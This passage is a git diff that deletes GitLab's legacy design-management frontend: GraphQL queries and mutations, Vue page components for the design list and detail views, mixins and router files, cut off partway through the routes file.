diff --git a/app/assets/javascripts/design_management_legacy/graphql/mutations/upload_design.mutation.graphql b/app/assets/javascripts/design_management_legacy/graphql/mutations/upload_design.mutation.graphql
deleted file mode 100644
index d694e6558a0..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/mutations/upload_design.mutation.graphql
+++ /dev/null
@@ -1,21 +0,0 @@
-#import "../fragments/design.fragment.graphql"
-
-mutation uploadDesign($files: [Upload!]!, $projectPath: ID!, $iid: ID!) {
- designManagementUpload(input: { projectPath: $projectPath, iid: $iid, files: $files }) {
- designs {
- ...DesignItem
- versions {
- edges {
- node {
- id
- sha
- }
- }
- }
- }
- skippedDesigns {
- filename
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/queries/active_discussion.query.graphql b/app/assets/javascripts/design_management_legacy/graphql/queries/active_discussion.query.graphql
deleted file mode 100644
index 111023cea68..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/queries/active_discussion.query.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-query activeDiscussion {
- activeDiscussion @client {
- id
- source
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/queries/app_data.query.graphql b/app/assets/javascripts/design_management_legacy/graphql/queries/app_data.query.graphql
deleted file mode 100644
index e1269761206..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/queries/app_data.query.graphql
+++ /dev/null
@@ -1,4 +0,0 @@
-query projectFullPath {
- projectPath @client
- issueIid @client
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/queries/design_permissions.query.graphql b/app/assets/javascripts/design_management_legacy/graphql/queries/design_permissions.query.graphql
deleted file mode 100644
index a87b256dc95..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/queries/design_permissions.query.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-query permissions($fullPath: ID!, $iid: String!) {
- project(fullPath: $fullPath) {
- id
- issue(iid: $iid) {
- userPermissions {
- createDesign
- }
- }
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/queries/get_design.query.graphql b/app/assets/javascripts/design_management_legacy/graphql/queries/get_design.query.graphql
deleted file mode 100644
index 07a9af55787..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/queries/get_design.query.graphql
+++ /dev/null
@@ -1,31 +0,0 @@
-#import "../fragments/design.fragment.graphql"
-#import "~/graphql_shared/fragments/author.fragment.graphql"
-
-query getDesign($fullPath: ID!, $iid: String!, $atVersion: ID, $filenames: [String!]) {
- project(fullPath: $fullPath) {
- id
- issue(iid: $iid) {
- designCollection {
- designs(atVersion: $atVersion, filenames: $filenames) {
- edges {
- node {
- ...DesignItem
- issue {
- title
- webPath
- webUrl
- participants {
- edges {
- node {
- ...Author
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/queries/get_design_list.query.graphql b/app/assets/javascripts/design_management_legacy/graphql/queries/get_design_list.query.graphql
deleted file mode 100644
index 121a50555b3..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/queries/get_design_list.query.graphql
+++ /dev/null
@@ -1,26 +0,0 @@
-#import "../fragments/design_list.fragment.graphql"
-#import "../fragments/version.fragment.graphql"
-
-query getDesignList($fullPath: ID!, $iid: String!, $atVersion: ID) {
- project(fullPath: $fullPath) {
- id
- issue(iid: $iid) {
- designCollection {
- designs(atVersion: $atVersion) {
- edges {
- node {
- ...DesignListItem
- }
- }
- }
- versions {
- edges {
- node {
- ...VersionListItem
- }
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/design_management_legacy/graphql/typedefs.graphql b/app/assets/javascripts/design_management_legacy/graphql/typedefs.graphql
deleted file mode 100644
index fdbad4a90e0..00000000000
--- a/app/assets/javascripts/design_management_legacy/graphql/typedefs.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-type ActiveDiscussion {
- id: ID
- source: String
-}
-
-extend type Query {
- activeDiscussion: ActiveDiscussion
-}
-
-extend type Mutation {
- updateActiveDiscussion(id: ID!, source: String!): Boolean
-}
diff --git a/app/assets/javascripts/design_management_legacy/index.js b/app/assets/javascripts/design_management_legacy/index.js
deleted file mode 100644
index 1fc5779515a..00000000000
--- a/app/assets/javascripts/design_management_legacy/index.js
+++ /dev/null
@@ -1,61 +0,0 @@
-// This application is being moved, please do not touch this files
-// Please see https://gitlab.com/gitlab-org/gitlab/-/issues/14744#note_364468096 for details
-
-import $ from 'jquery';
-import Vue from 'vue';
-import createRouter from './router';
-import App from './components/app.vue';
-import apolloProvider from './graphql';
-import getDesignListQuery from './graphql/queries/get_design_list.query.graphql';
-import { DESIGNS_ROUTE_NAME, ROOT_ROUTE_NAME } from './router/constants';
-
-export default () => {
- const el = document.querySelector('.js-design-management');
- const badge = document.querySelector('.js-designs-count');
- const { issueIid, projectPath, issuePath } = el.dataset;
- const router = createRouter(issuePath);
-
- $('.js-issue-tabs').on('shown.bs.tab', ({ target: { id } }) => {
- if (id === 'designs' && router.currentRoute.name === ROOT_ROUTE_NAME) {
- router.push({ name: DESIGNS_ROUTE_NAME });
- } else if (id === 'discussion') {
- router.push({ name: ROOT_ROUTE_NAME });
- }
- });
-
- apolloProvider.clients.defaultClient.cache.writeData({
- data: {
- projectPath,
- issueIid,
- activeDiscussion: {
- __typename: 'ActiveDiscussion',
- id: null,
- source: null,
- },
- },
- });
-
- apolloProvider.clients.defaultClient
- .watchQuery({
- query: getDesignListQuery,
- variables: {
- fullPath: projectPath,
- iid: issueIid,
- atVersion: null,
- },
- })
- .subscribe(({ data }) => {
- if (badge) {
- badge.textContent = data.project.issue.designCollection.designs.edges.length;
- }
- });
-
- return new Vue({
- el,
- router,
- apolloProvider,
- render(createElement) {
- return createElement(App);
- },
- });
-};
diff --git a/app/assets/javascripts/design_management_legacy/mixins/all_designs.js b/app/assets/javascripts/design_management_legacy/mixins/all_designs.js
deleted file mode 100644
index 544429928d2..00000000000
--- a/app/assets/javascripts/design_management_legacy/mixins/all_designs.js
+++ /dev/null
@@ -1,49 +0,0 @@
-import { propertyOf } from 'lodash';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { s__ } from '~/locale';
-import getDesignListQuery from '../graphql/queries/get_design_list.query.graphql';
-import { extractNodes } from '../utils/design_management_utils';
-import allVersionsMixin from './all_versions';
-import { DESIGNS_ROUTE_NAME } from '../router/constants';
-
-export default {
- mixins: [allVersionsMixin],
- apollo: {
- designs: {
- query: getDesignListQuery,
- variables() {
- return {
- fullPath: this.projectPath,
- iid: this.issueIid,
- atVersion: this.designsVersion,
- };
- },
- update: data => {
- const designEdges = propertyOf(data)(['project', 'issue', 'designCollection', 'designs']);
- if (designEdges) {
- return extractNodes(designEdges);
- }
- return [];
- },
- error() {
- this.error = true;
- },
- result() {
- if (this.$route.query.version && !this.hasValidVersion) {
- createFlash(
- s__(
- 'DesignManagement|Requested design version does not exist. Showing latest version instead',
- ),
- );
- this.$router.replace({ name: DESIGNS_ROUTE_NAME, query: { version: undefined } });
- }
- },
- },
- },
- data() {
- return {
- designs: [],
- error: false,
- };
- },
-};
diff --git a/app/assets/javascripts/design_management_legacy/mixins/all_versions.js b/app/assets/javascripts/design_management_legacy/mixins/all_versions.js
deleted file mode 100644
index 3966fe71732..00000000000
--- a/app/assets/javascripts/design_management_legacy/mixins/all_versions.js
+++ /dev/null
@@ -1,62 +0,0 @@
-import getDesignListQuery from '../graphql/queries/get_design_list.query.graphql';
-import appDataQuery from '../graphql/queries/app_data.query.graphql';
-import { findVersionId } from '../utils/design_management_utils';
-
-export default {
- apollo: {
- appData: {
- query: appDataQuery,
- manual: true,
- result({ data: { projectPath, issueIid } }) {
- this.projectPath = projectPath;
- this.issueIid = issueIid;
- },
- },
- allVersions: {
- query: getDesignListQuery,
- variables() {
- return {
- fullPath: this.projectPath,
- iid: this.issueIid,
- atVersion: null,
- };
- },
- update: data => data.project.issue.designCollection.versions.edges,
- },
- },
- computed: {
- hasValidVersion() {
- return (
- this.$route.query.version &&
- this.allVersions &&
- this.allVersions.some(version => version.node.id.endsWith(this.$route.query.version))
- );
- },
- designsVersion() {
- return this.hasValidVersion
- ? `gid://gitlab/DesignManagement::Version/${this.$route.query.version}`
- : null;
- },
- latestVersionId() {
- const latestVersion = this.allVersions[0];
- return latestVersion && findVersionId(latestVersion.node.id);
- },
- isLatestVersion() {
- if (this.allVersions.length > 0) {
- return (
- !this.$route.query.version ||
- !this.latestVersionId ||
- this.$route.query.version === this.latestVersionId
- );
- }
- return true;
- },
- },
- data() {
- return {
- allVersions: [],
- projectPath: '',
- issueIid: null,
- };
- },
-};
diff --git a/app/assets/javascripts/design_management_legacy/pages/design/index.vue b/app/assets/javascripts/design_management_legacy/pages/design/index.vue
deleted file mode 100644
index 2ada9eff8c6..00000000000
--- a/app/assets/javascripts/design_management_legacy/pages/design/index.vue
+++ /dev/null
@@ -1,378 +0,0 @@
-<script>
-import Mousetrap from 'mousetrap';
-import { GlLoadingIcon, GlAlert } from '@gitlab/ui';
-import { ApolloMutation } from 'vue-apollo';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { fetchPolicies } from '~/lib/graphql';
-import allVersionsMixin from '../../mixins/all_versions';
-import Toolbar from '../../components/toolbar/index.vue';
-import DesignDestroyer from '../../components/design_destroyer.vue';
-import DesignScaler from '../../components/design_scaler.vue';
-import DesignPresentation from '../../components/design_presentation.vue';
-import DesignReplyForm from '../../components/design_notes/design_reply_form.vue';
-import DesignSidebar from '../../components/design_sidebar.vue';
-import getDesignQuery from '../../graphql/queries/get_design.query.graphql';
-import appDataQuery from '../../graphql/queries/app_data.query.graphql';
-import createImageDiffNoteMutation from '../../graphql/mutations/create_image_diff_note.mutation.graphql';
-import updateImageDiffNoteMutation from '../../graphql/mutations/update_image_diff_note.mutation.graphql';
-import updateActiveDiscussionMutation from '../../graphql/mutations/update_active_discussion.mutation.graphql';
-import {
- extractDiscussions,
- extractDesign,
- updateImageDiffNoteOptimisticResponse,
-} from '../../utils/design_management_utils';
-import {
- updateStoreAfterAddImageDiffNote,
- updateStoreAfterUpdateImageDiffNote,
-} from '../../utils/cache_update';
-import {
- ADD_DISCUSSION_COMMENT_ERROR,
- ADD_IMAGE_DIFF_NOTE_ERROR,
- UPDATE_IMAGE_DIFF_NOTE_ERROR,
- DESIGN_NOT_FOUND_ERROR,
- DESIGN_VERSION_NOT_EXIST_ERROR,
- UPDATE_NOTE_ERROR,
- designDeletionError,
-} from '../../utils/error_messages';
-import { trackDesignDetailView } from '../../utils/tracking';
-import { DESIGNS_ROUTE_NAME } from '../../router/constants';
-import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../../constants';
-
-export default {
- components: {
- ApolloMutation,
- DesignReplyForm,
- DesignPresentation,
- DesignScaler,
- DesignDestroyer,
- Toolbar,
- GlLoadingIcon,
- GlAlert,
- DesignSidebar,
- },
- mixins: [allVersionsMixin],
- props: {
- id: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- design: {},
- comment: '',
- annotationCoordinates: null,
- projectPath: '',
- errorMessage: '',
- issueIid: '',
- scale: 1,
- resolvedDiscussionsExpanded: false,
- };
- },
- apollo: {
- appData: {
- query: appDataQuery,
- manual: true,
- result({ data: { projectPath, issueIid } }) {
- this.projectPath = projectPath;
- this.issueIid = issueIid;
- },
- },
- design: {
- query: getDesignQuery,
- // We want to see cached design version if we have one, and fetch newer version on the background to update discussions
- fetchPolicy: fetchPolicies.CACHE_AND_NETWORK,
- variables() {
- return this.designVariables;
- },
- update: data => extractDesign(data),
- result(res) {
- this.onDesignQueryResult(res);
- },
- error() {
- this.onQueryError(DESIGN_NOT_FOUND_ERROR);
- },
- },
- },
- computed: {
- isFirstLoading() {
- // We only want to show spinner on initial design load (when opened from a deep link to design)
- // If we already have cached a design, loading shouldn't be indicated to user
- return this.$apollo.queries.design.loading && !this.design.filename;
- },
- discussions() {
- if (!this.design.discussions) {
- return [];
- }
- return extractDiscussions(this.design.discussions);
- },
- markdownPreviewPath() {
- return `/${this.projectPath}/preview_markdown?target_type=Issue`;
- },
- isSubmitButtonDisabled() {
- return this.comment.trim().length === 0;
- },
- designVariables() {
- return {
- fullPath: this.projectPath,
- iid: this.issueIid,
- filenames: [this.$route.params.id],
- atVersion: this.designsVersion,
- };
- },
- mutationPayload() {
- const { x, y, width, height } = this.annotationCoordinates;
- return {
- noteableId: this.design.id,
- body: this.comment,
- position: {
- headSha: this.design.diffRefs.headSha,
- baseSha: this.design.diffRefs.baseSha,
- startSha: this.design.diffRefs.startSha,
- x,
- y,
- width,
- height,
- paths: {
- newPath: this.design.fullPath,
- },
- },
- };
- },
- isAnnotating() {
- return Boolean(this.annotationCoordinates);
- },
- resolvedDiscussions() {
- return this.discussions.filter(discussion => discussion.resolved);
- },
- },
- watch: {
- resolvedDiscussions(val) {
- if (!val.length) {
- this.resolvedDiscussionsExpanded = false;
- }
- },
- },
- mounted() {
- Mousetrap.bind('esc', this.closeDesign);
- this.trackEvent();
- // We need to reset the active discussion when opening a new design
- this.updateActiveDiscussion();
- },
- beforeDestroy() {
- Mousetrap.unbind('esc', this.closeDesign);
- },
- methods: {
- addImageDiffNoteToStore(
- store,
- {
- data: { createImageDiffNote },
- },
- ) {
- updateStoreAfterAddImageDiffNote(
- store,
- createImageDiffNote,
- getDesignQuery,
- this.designVariables,
- );
- },
- updateImageDiffNoteInStore(
- store,
- {
- data: { updateImageDiffNote },
- },
- ) {
- return updateStoreAfterUpdateImageDiffNote(
- store,
- updateImageDiffNote,
- getDesignQuery,
- this.designVariables,
- );
- },
- onMoveNote({ noteId, discussionId, position }) {
- const discussion = this.discussions.find(({ id }) => id === discussionId);
- const note = discussion.notes.find(
- ({ discussion: noteDiscussion }) => noteDiscussion.id === discussionId,
- );
-
- const mutationPayload = {
- optimisticResponse: updateImageDiffNoteOptimisticResponse(note, {
- position,
- }),
- variables: {
- input: {
- id: noteId,
- position,
- },
- },
- mutation: updateImageDiffNoteMutation,
- update: this.updateImageDiffNoteInStore,
- };
-
- return this.$apollo.mutate(mutationPayload).catch(e => this.onUpdateImageDiffNoteError(e));
- },
- onDesignQueryResult({ data, loading }) {
- // On the initial load with cache-and-network policy data is undefined while loading is true
- // To prevent throwing an error, we don't perform any logic until loading is false
- if (loading) {
- return;
- }
-
- if (!data || !extractDesign(data)) {
- this.onQueryError(DESIGN_NOT_FOUND_ERROR);
- } else if (this.$route.query.version && !this.hasValidVersion) {
- this.onQueryError(DESIGN_VERSION_NOT_EXIST_ERROR);
- }
- },
- onQueryError(message) {
- // because we redirect user to /designs (the issue page),
- // we want to create these flashes on the issue page
- createFlash(message);
- this.$router.push({ name: this.$options.DESIGNS_ROUTE_NAME });
- },
- onError(message, e) {
- this.errorMessage = message;
- throw e;
- },
- onCreateImageDiffNoteError(e) {
- this.onError(ADD_IMAGE_DIFF_NOTE_ERROR, e);
- },
- onUpdateNoteError(e) {
- this.onError(UPDATE_NOTE_ERROR, e);
- },
- onDesignDiscussionError(e) {
- this.onError(ADD_DISCUSSION_COMMENT_ERROR, e);
- },
- onUpdateImageDiffNoteError(e) {
- this.onError(UPDATE_IMAGE_DIFF_NOTE_ERROR, e);
- },
- onDesignDeleteError(e) {
- this.onError(designDeletionError({ singular: true }), e);
- },
- onResolveDiscussionError(e) {
- this.onError(UPDATE_IMAGE_DIFF_NOTE_ERROR, e);
- },
- openCommentForm(annotationCoordinates) {
- this.annotationCoordinates = annotationCoordinates;
- if (this.$refs.newDiscussionForm) {
- this.$refs.newDiscussionForm.focusInput();
- }
- },
- closeCommentForm() {
- this.comment = '';
- this.annotationCoordinates = null;
- },
- closeDesign() {
- this.$router.push({
- name: this.$options.DESIGNS_ROUTE_NAME,
- query: this.$route.query,
- });
- },
- trackEvent() {
- // TODO: This needs to be made aware of referers, or if it's rendered in a different context than a Issue
- trackDesignDetailView(
- 'issue-design-collection',
- 'issue',
- this.$route.query.version || this.latestVersionId,
- this.isLatestVersion,
- );
- },
- updateActiveDiscussion(id) {
- this.$apollo.mutate({
- mutation: updateActiveDiscussionMutation,
- variables: {
- id,
- source: ACTIVE_DISCUSSION_SOURCE_TYPES.discussion,
- },
- });
- },
- toggleResolvedComments() {
- this.resolvedDiscussionsExpanded = !this.resolvedDiscussionsExpanded;
- },
- },
- createImageDiffNoteMutation,
- DESIGNS_ROUTE_NAME,
-};
-</script>
-
-<template>
- <div
- class="design-detail js-design-detail fixed-top w-100 position-bottom-0 d-flex justify-content-center flex-column flex-lg-row"
- >
- <gl-loading-icon v-if="isFirstLoading" size="xl" class="align-self-center" />
- <template v-else>
- <div class="d-flex overflow-hidden flex-grow-1 flex-column position-relative">
- <design-destroyer
- :filenames="[design.filename]"
- :project-path="projectPath"
- :iid="issueIid"
- @done="$router.push({ name: $options.DESIGNS_ROUTE_NAME })"
- @error="onDesignDeleteError"
- >
- <template #default="{ mutate, loading }">
- <toolbar
- :id="id"
- :is-deleting="loading"
- :is-latest-version="isLatestVersion"
- v-bind="design"
- @delete="mutate"
- />
- </template>
- </design-destroyer>
-
- <div v-if="errorMessage" class="p-3">
- <gl-alert variant="danger" @dismiss="errorMessage = null">
- {{ errorMessage }}
- </gl-alert>
- </div>
- <design-presentation
- :image="design.image"
- :image-name="design.filename"
- :discussions="discussions"
- :is-annotating="isAnnotating"
- :scale="scale"
- :resolved-discussions-expanded="resolvedDiscussionsExpanded"
- @openCommentForm="openCommentForm"
- @closeCommentForm="closeCommentForm"
- @moveNote="onMoveNote"
- />
-
- <div class="design-scaler-wrapper position-absolute mb-4 d-flex-center">
- <design-scaler @scale="scale = $event" />
- </div>
- </div>
- <design-sidebar
- :design="design"
- :resolved-discussions-expanded="resolvedDiscussionsExpanded"
- :markdown-preview-path="markdownPreviewPath"
- @onDesignDiscussionError="onDesignDiscussionError"
- @onCreateImageDiffNoteError="onCreateImageDiffNoteError"
- @updateNoteError="onUpdateNoteError"
- @resolveDiscussionError="onResolveDiscussionError"
- @toggleResolvedComments="toggleResolvedComments"
- >
- <template #replyForm>
- <apollo-mutation
- v-if="isAnnotating"
- #default="{ mutate, loading }"
- :mutation="$options.createImageDiffNoteMutation"
- :variables="{
- input: mutationPayload,
- }"
- :update="addImageDiffNoteToStore"
- @done="closeCommentForm"
- @error="onCreateImageDiffNoteError"
- >
- <design-reply-form
- ref="newDiscussionForm"
- v-model="comment"
- :is-saving="loading"
- :markdown-preview-path="markdownPreviewPath"
- @submitForm="mutate"
- @cancelForm="closeCommentForm"
- /> </apollo-mutation
- ></template>
- </design-sidebar>
- </template>
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/pages/index.vue b/app/assets/javascripts/design_management_legacy/pages/index.vue
deleted file mode 100644
index 66008a193ce..00000000000
--- a/app/assets/javascripts/design_management_legacy/pages/index.vue
+++ /dev/null
@@ -1,323 +0,0 @@
-<script>
-import { GlLoadingIcon, GlDeprecatedButton, GlAlert } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { s__, sprintf } from '~/locale';
-import UploadButton from '../components/upload/button.vue';
-import DeleteButton from '../components/delete_button.vue';
-import Design from '../components/list/item.vue';
-import DesignDestroyer from '../components/design_destroyer.vue';
-import DesignVersionDropdown from '../components/upload/design_version_dropdown.vue';
-import DesignDropzone from '../components/upload/design_dropzone.vue';
-import uploadDesignMutation from '../graphql/mutations/upload_design.mutation.graphql';
-import permissionsQuery from '../graphql/queries/design_permissions.query.graphql';
-import getDesignListQuery from '../graphql/queries/get_design_list.query.graphql';
-import allDesignsMixin from '../mixins/all_designs';
-import {
- UPLOAD_DESIGN_ERROR,
- EXISTING_DESIGN_DROP_MANY_FILES_MESSAGE,
- EXISTING_DESIGN_DROP_INVALID_FILENAME_MESSAGE,
- designUploadSkippedWarning,
- designDeletionError,
-} from '../utils/error_messages';
-import { updateStoreAfterUploadDesign } from '../utils/cache_update';
-import {
- designUploadOptimisticResponse,
- isValidDesignFile,
-} from '../utils/design_management_utils';
-import { getFilename } from '~/lib/utils/file_upload';
-import { DESIGNS_ROUTE_NAME } from '../router/constants';
-
-const MAXIMUM_FILE_UPLOAD_LIMIT = 10;
-
-export default {
- components: {
- GlLoadingIcon,
- GlAlert,
- GlDeprecatedButton,
- UploadButton,
- Design,
- DesignDestroyer,
- DesignVersionDropdown,
- DeleteButton,
- DesignDropzone,
- },
- mixins: [allDesignsMixin],
- apollo: {
- permissions: {
- query: permissionsQuery,
- variables() {
- return {
- fullPath: this.projectPath,
- iid: this.issueIid,
- };
- },
- update: data => data.project.issue.userPermissions,
- },
- },
- data() {
- return {
- permissions: {
- createDesign: false,
- },
- filesToBeSaved: [],
- selectedDesigns: [],
- };
- },
- computed: {
- isLoading() {
- return this.$apollo.queries.designs.loading || this.$apollo.queries.permissions.loading;
- },
- isSaving() {
- return this.filesToBeSaved.length > 0;
- },
- canCreateDesign() {
- return this.permissions.createDesign;
- },
- showToolbar() {
- return this.canCreateDesign && this.allVersions.length > 0;
- },
- hasDesigns() {
- return this.designs.length > 0;
- },
- hasSelectedDesigns() {
- return this.selectedDesigns.length > 0;
- },
- canDeleteDesigns() {
- return this.isLatestVersion && this.hasSelectedDesigns;
- },
- projectQueryBody() {
- return {
- query: getDesignListQuery,
- variables: { fullPath: this.projectPath, iid: this.issueIid, atVersion: null },
- };
- },
- selectAllButtonText() {
- return this.hasSelectedDesigns
- ? s__('DesignManagement|Deselect all')
- : s__('DesignManagement|Select all');
- },
- },
- mounted() {
- this.toggleOnPasteListener(this.$route.name);
- },
- methods: {
- resetFilesToBeSaved() {
- this.filesToBeSaved = [];
- },
- /**
- * Determine if a design upload is valid, given [files]
- * @param {Array<File>} files
- */
- isValidDesignUpload(files) {
- if (!this.canCreateDesign) return false;
-
- if (files.length > MAXIMUM_FILE_UPLOAD_LIMIT) {
- createFlash(
- sprintf(
- s__(
- 'DesignManagement|The maximum number of designs allowed to be uploaded is %{upload_limit}. Please try again.',
- ),
- {
- upload_limit: MAXIMUM_FILE_UPLOAD_LIMIT,
- },
- ),
- );
-
- return false;
- }
- return true;
- },
- onUploadDesign(files) {
- // convert to Array so that we have Array methods (.map, .some, etc.)
- this.filesToBeSaved = Array.from(files);
- if (!this.isValidDesignUpload(this.filesToBeSaved)) return null;
-
- const mutationPayload = {
- optimisticResponse: designUploadOptimisticResponse(this.filesToBeSaved),
- variables: {
- files: this.filesToBeSaved,
- projectPath: this.projectPath,
- iid: this.issueIid,
- },
- context: {
- hasUpload: true,
- },
- mutation: uploadDesignMutation,
- update: this.afterUploadDesign,
- };
-
- return this.$apollo
- .mutate(mutationPayload)
- .then(res => this.onUploadDesignDone(res))
- .catch(() => this.onUploadDesignError());
- },
- afterUploadDesign(
- store,
- {
- data: { designManagementUpload },
- },
- ) {
- updateStoreAfterUploadDesign(store, designManagementUpload, this.projectQueryBody);
- },
- onUploadDesignDone(res) {
- const skippedFiles = res?.data?.designManagementUpload?.skippedDesigns || [];
- const skippedWarningMessage = designUploadSkippedWarning(this.filesToBeSaved, skippedFiles);
- if (skippedWarningMessage) {
- createFlash(skippedWarningMessage, 'warning');
- }
-
- // if this upload resulted in a new version being created, redirect user to the latest version
- if (!this.isLatestVersion) {
- this.$router.push({ name: DESIGNS_ROUTE_NAME });
- }
- this.resetFilesToBeSaved();
- },
- onUploadDesignError() {
- this.resetFilesToBeSaved();
- createFlash(UPLOAD_DESIGN_ERROR);
- },
- changeSelectedDesigns(filename) {
- if (this.isDesignSelected(filename)) {
- this.selectedDesigns = this.selectedDesigns.filter(design => design !== filename);
- } else {
- this.selectedDesigns.push(filename);
- }
- },
- toggleDesignsSelection() {
- if (this.hasSelectedDesigns) {
- this.selectedDesigns = [];
- } else {
- this.selectedDesigns = this.designs.map(design => design.filename);
- }
- },
- isDesignSelected(filename) {
- return this.selectedDesigns.includes(filename);
- },
- isDesignToBeSaved(filename) {
- return this.filesToBeSaved.some(file => file.name === filename);
- },
- canSelectDesign(filename) {
- return this.isLatestVersion && this.canCreateDesign && !this.isDesignToBeSaved(filename);
- },
- onDesignDelete() {
- this.selectedDesigns = [];
- if (this.$route.query.version) this.$router.push({ name: DESIGNS_ROUTE_NAME });
- },
- onDesignDeleteError() {
- const errorMessage = designDeletionError({ singular: this.selectedDesigns.length === 1 });
- createFlash(errorMessage);
- },
- onExistingDesignDropzoneChange(files, existingDesignFilename) {
- const filesArr = Array.from(files);
-
- if (filesArr.length > 1) {
- createFlash(EXISTING_DESIGN_DROP_MANY_FILES_MESSAGE);
- return;
- }
-
- if (!filesArr.some(({ name }) => existingDesignFilename === name)) {
- createFlash(EXISTING_DESIGN_DROP_INVALID_FILENAME_MESSAGE);
- return;
- }
-
- this.onUploadDesign(files);
- },
- onDesignPaste(event) {
- const { clipboardData } = event;
- const files = Array.from(clipboardData.files);
- if (clipboardData && files.length > 0) {
- if (!files.some(isValidDesignFile)) {
- return;
- }
- event.preventDefault();
- let filename = getFilename(event);
- if (!filename || filename === 'image.png') {
- filename = `design_${Date.now()}.png`;
- }
- const newFile = new File([files[0]], filename);
- this.onUploadDesign([newFile]);
- }
- },
- toggleOnPasteListener(route) {
- if (route === DESIGNS_ROUTE_NAME) {
- document.addEventListener('paste', this.onDesignPaste);
- } else {
- document.removeEventListener('paste', this.onDesignPaste);
- }
- },
- },
- beforeRouteUpdate(to, from, next) {
- this.toggleOnPasteListener(to.name);
- this.selectedDesigns = [];
- next();
- },
- beforeRouteLeave(to, from, next) {
- this.toggleOnPasteListener(to.name);
- next();
- },
-};
-</script>
-
-<template>
- <div>
- <header v-if="showToolbar" class="row-content-block border-top-0 p-2 d-flex">
- <div class="d-flex justify-content-between align-items-center w-100">
- <design-version-dropdown />
- <div :class="['qa-selector-toolbar', { 'd-flex': hasDesigns, 'd-none': !hasDesigns }]">
- <gl-deprecated-button
- v-if="isLatestVersion"
- variant="link"
- class="mr-2 js-select-all"
- @click="toggleDesignsSelection"
- >{{ selectAllButtonText }}</gl-deprecated-button
- >
- <design-destroyer
- #default="{ mutate, loading }"
- :filenames="selectedDesigns"
- :project-path="projectPath"
- :iid="issueIid"
- @done="onDesignDelete"
- @error="onDesignDeleteError"
- >
- <delete-button
- v-if="isLatestVersion"
- :is-deleting="loading"
- button-class="btn-danger btn-inverted mr-2"
- :has-selected-designs="hasSelectedDesigns"
- @deleteSelectedDesigns="mutate()"
- >
- {{ s__('DesignManagement|Delete selected') }}
- <gl-loading-icon v-if="loading" inline class="ml-1" />
- </delete-button>
- </design-destroyer>
- <upload-button v-if="canCreateDesign" :is-saving="isSaving" @upload="onUploadDesign" />
- </div>
- </div>
- </header>
- <div class="mt-4">
- <gl-loading-icon v-if="isLoading" size="md" />
- <gl-alert v-else-if="error" variant="danger" :dismissible="false">
- {{ __('An error occurred while loading designs. Please try again.') }}
- </gl-alert>
- <ol v-else class="list-unstyled row">
- <li class="col-md-6 col-lg-4 mb-3">
- <design-dropzone class="design-list-item" @change="onUploadDesign" />
- </li>
- <li v-for="design in designs" :key="design.id" class="col-md-6 col-lg-4 mb-3">
- <design-dropzone @change="onExistingDesignDropzoneChange($event, design.filename)"
- ><design v-bind="design" :is-uploading="isDesignToBeSaved(design.filename)"
- /></design-dropzone>
-
- <input
- v-if="canSelectDesign(design.filename)"
- :checked="isDesignSelected(design.filename)"
- type="checkbox"
- class="design-checkbox"
- @change="changeSelectedDesigns(design.filename)"
- />
- </li>
- </ol>
- </div>
- <router-view :key="$route.fullPath" />
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/router/constants.js b/app/assets/javascripts/design_management_legacy/router/constants.js
deleted file mode 100644
index abeef520e33..00000000000
--- a/app/assets/javascripts/design_management_legacy/router/constants.js
+++ /dev/null
@@ -1,3 +0,0 @@
-export const ROOT_ROUTE_NAME = 'root';
-export const DESIGNS_ROUTE_NAME = 'designs';
-export const DESIGN_ROUTE_NAME = 'design';
diff --git a/app/assets/javascripts/design_management_legacy/router/index.js b/app/assets/javascripts/design_management_legacy/router/index.js
deleted file mode 100644
index 28a81ed0278..00000000000
--- a/app/assets/javascripts/design_management_legacy/router/index.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import $ from 'jquery';
-import Vue from 'vue';
-import VueRouter from 'vue-router';
-import routes from './routes';
-import { DESIGN_ROUTE_NAME } from './constants';
-import { getPageLayoutElement } from '~/design_management_legacy/utils/design_management_utils';
-import { DESIGN_DETAIL_LAYOUT_CLASSLIST } from '../constants';
-
-Vue.use(VueRouter);
-
-export default function createRouter(base) {
- const router = new VueRouter({
- base,
- mode: 'history',
- routes,
- });
- const pageEl = getPageLayoutElement();
-
- router.beforeEach(({ meta: { el }, name }, _, next) => {
- $(`#${el}`).tab('show');
-
- // apply a fullscreen layout style in Design View (a.k.a design detail)
- if (pageEl) {
- if (name === DESIGN_ROUTE_NAME) {
- pageEl.classList.add(...DESIGN_DETAIL_LAYOUT_CLASSLIST);
- } else {
- pageEl.classList.remove(...DESIGN_DETAIL_LAYOUT_CLASSLIST);
- }
- }
-
- next();
- });
-
- return router;
-}
diff --git a/app/assets/javascripts/design_management_legacy/router/routes.js b/app/assets/javascripts/design_management_legacy/router/routes.js
deleted file mode 100644
index 788910e5514..00000000000
--- a/app/assets/javascripts/design_management_legacy/router/routes.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import Home from '../pages/index.vue';
-import DesignDetail from '../pages/design/index.vue';
-import { ROOT_ROUTE_NAME, DESIGNS_ROUTE_NAME, DESIGN_ROUTE_NAME } from './constants';
-
-export default [
- {
- name: ROOT_ROUTE_NAME,
- path: '/',
- component: Home,
- meta: {
- el: 'discussion',
- },
- },
- {
- name: DESIGNS_ROUTE_NAME,
- path: '/designs',
- component: Home,
- meta: {
- el: 'designs',
